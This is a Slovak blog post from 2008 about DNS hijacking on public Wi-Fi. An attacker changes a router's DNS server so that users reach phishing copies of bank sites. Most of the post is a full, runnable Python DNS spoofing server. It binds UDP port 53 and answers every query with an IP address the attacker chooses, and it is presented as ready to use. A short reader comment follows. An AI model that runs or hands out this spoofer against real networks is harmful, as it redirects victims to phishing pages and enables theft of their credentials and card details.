Posledných pár dní som sa začal zaujímať o pripojenie sa k wifi bez wep kľúča kde je útočník schopný zmeniť primárny DNS server na routery. Toto je v dnešnej dobe dosť závažný bezpečnostný problém ako útočník môže prísť k vašim detailom o kreditnej karte alebo nejakým iným rovnocenným informáciám.
Predstavte si, že ste v hoteli spolu s vašim laptopom. Ste pripojení na wifi a nachádzate sa na front page google.com. Kompletná url je http://www.google.com a otázka znie, je táto stránka pravá(autentická)? Útočník by mohol mať prístup k routeru a zmeniť primárny DNS server prostredníctvom dostupných metód.
Teoreticky by útočník mohol použiť hocijakú Ip adresu k "naťahovaciemu triku", pokiaľ by DNS server bol spustený za UDP portom 53. No viacej užitočné by bolo, ak by napádateľ mal pod kontrolou DNS server, tak môže ukázať užívateľovi to, čo by vidieť chcel.
Príklad, užívateľ môže napísať webovú stránku banky a skončiť tak následovne v phisingovej stránke, ktorá môže byť vizuálne spravená úplne rovnako. Takže nič netušiaci užívateľ si pekne zadáva údaje priamo do loggeru útočníka. Je to veľká hrozba, ktorá môže ovplyvniť kohokoľvek kto nemá zabezpečený svoj systém.
pdp vytvoril skript v Pythone, ktorý funguje ako prechodný DNS server a bude meniť všetky požiadavky na "overené".# DNS Injection Server
# Created By fazed
# DNSQuery class adapted from Francisco Santos's
# code. why re-invent the wheel?
from socket import *
class DNSQuery:
def __init__(self, data):
self.data=data
self.domain=''
tipo = (ord(data[2]) >> 3) & 15
if tipo == 0:
ini=12
lon=ord(data[ini])
while lon != 0:
self.domain+=data[ini+1:ini+lon+1]+'.'
ini+=lon+1
lon=ord(data[ini])
def respond(self, ip):
packet=''
if self.domain:
packet+=self.data[:2] + "\x81\x80"
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
packet+=self.data[12:]
packet+='\xc0\x0c'
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.')))
return packet
print ":: DNS Injection Server Started ::"
sh = socket(AF_INET, SOCK_DGRAM)
print "Socket Handle Created.."
sh.bind(('',53))
print "Socket Handle Bound To UDP Port 53"
ip = raw_input("IP to inject: ")
try:
while 1:
data, addr = sh.recvfrom(1024)
print "DNS Request From:", addr[0]
p = DNSQuery(data)
print "Sending IP address:", ip
sh.sendto(p.respond(ip),addr)
print "Response Sent.."
except KeyboardInterrupt:
print ":: DNS Injection Server Stoped ::"
sh.close()
Monday, March 31, 2008
Owned WiFi
Subscribe to:
Post Comments (Atom)
1 comment:
snad tie utoky hrozia čisto iba teoreticky
Post a Comment